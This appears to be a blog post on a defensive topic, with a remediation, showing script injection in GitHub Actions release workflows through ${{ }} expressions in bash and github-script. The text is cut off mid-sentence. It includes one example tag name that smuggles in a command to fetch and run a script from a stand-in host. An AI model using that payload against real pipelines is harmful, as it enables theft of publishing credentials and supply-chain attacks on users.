I Read 25 Release Pipelines Looking for One Bug. Four Had It.
There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins